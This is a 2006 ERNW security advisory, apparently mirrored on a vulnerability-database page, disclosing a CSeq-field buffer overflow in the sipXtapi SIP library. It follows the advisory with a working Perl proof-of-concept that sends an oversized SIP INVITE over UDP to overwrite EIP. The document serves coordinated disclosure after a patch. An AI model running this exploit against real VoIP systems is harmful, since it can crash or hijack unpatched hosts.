Lucene search
K

ERNW-02-2006.txt

🗓️ 12 Jul 2006 00:00:00Reported by Michael ThumannType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 19 Views

ERNW Security Advisory 02-2006 Buffer Overflow in SIP Foundry's SipXtapi library - Critical severit

Code
`ERNW Security Advisory 02-2006  
  
Buffer Overflow in SIP Foundry's SipXtapi  
  
Author:  
Michael Thumann <mthumann[at]ernw.de>  
Homepage: www.ernw.de  
  
1. Summary:  
The sipXtapi library from sip foundry contains a buffer overflow when parsing the CSeq field.  
This flaw can be used by an attacker to gain control over EIP and execute arbitrary code.  
  
2. Severity : Critical  
  
3. Products affected  
- sipXtapi: all version compiled before 24 of march 2006  
- PingTel products  
- AOL Triton  
  
4. Patch Availability :  
A patch is available within the source tree and the affected products of PingTel and AOL  
have beed updated.  
  
5. Details  
Sending a CSeq field value greater than 24 bytes triggers the buffer ovlerflow condition.  
  
6. Solution  
Update the affected products to the actual version.  
  
7. Time-Line   
20 Mar 2006: Vulnerability reported to vendor  
20 Mar 2006: Answer from vendor  
24 Mar 2006: Patch available  
10 July 2006: Public Disclosure  
  
8. Exploit  
#!/usr/bin/perl  
# PoC Exploit By [email protected]  
# Remote Buffer Overflow in sipXtapi  
  
use IO::Socket;  
#use strict;  
  
  
print "sipXtapi Exploit by Michael Thumann \n\n";  
  
if (not $ARGV[0]) {  
print "Usage: sipx.pl <host>\n";   
exit;}  
  
$target=$ARGV[0];  
my $source ="127.0.0.1";  
my $target_port = 5060;  
my $user ="bad";  
my $eip="\x41\x41\x41\x41";  
my $cseq =   
"\x31\x31\x35\x37\x39\x32\x30\x38".  
"\x39\x32\x33\x37\x33\x31\x36\x31".  
"\x39\x35\x34\x32\x33\x35\x37\x30".  
$eip;  
my $packet =<<END;  
INVITE sip:user\@$source SIP/2.0\r  
To: <sip:$target:$target_port>\r  
Via: SIP/2.0/UDP $target:3277\r  
From: "moz"<sip:$target:3277>\r  
Call-ID: 3121$target\r  
CSeq: $cseq\r  
Max-Forwards: 70\r  
Contact: <sip:$source:5059>\r  
\r  
END  
  
print "Sending Packet to: " . $target . "\n\n";  
socket(PING, PF_INET, SOCK_DGRAM, getprotobyname("udp"));  
my $ipaddr = inet_aton($target);  
my $sendto = sockaddr_in($target_port,$ipaddr);  
send(PING, $packet, 0, $sendto) == length($packet) or die "cannot send to $target : $target_port : $!\n";  
print "Done.\n";  
  
9. Thanks  
We would like to thank the guys from sip foundry for working together on this issue in a professional and  
responsible way.  
  
10. Disclaimer  
The informations in this advisory are provided "AS IS" without warranty   
of any kind. In no event shall the authors be liable for any damages   
whatsoever including direct, indirect, incidental, consequential,   
loss of business profits or special damages due to the misuse of any   
information provided in this advisory.   
  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation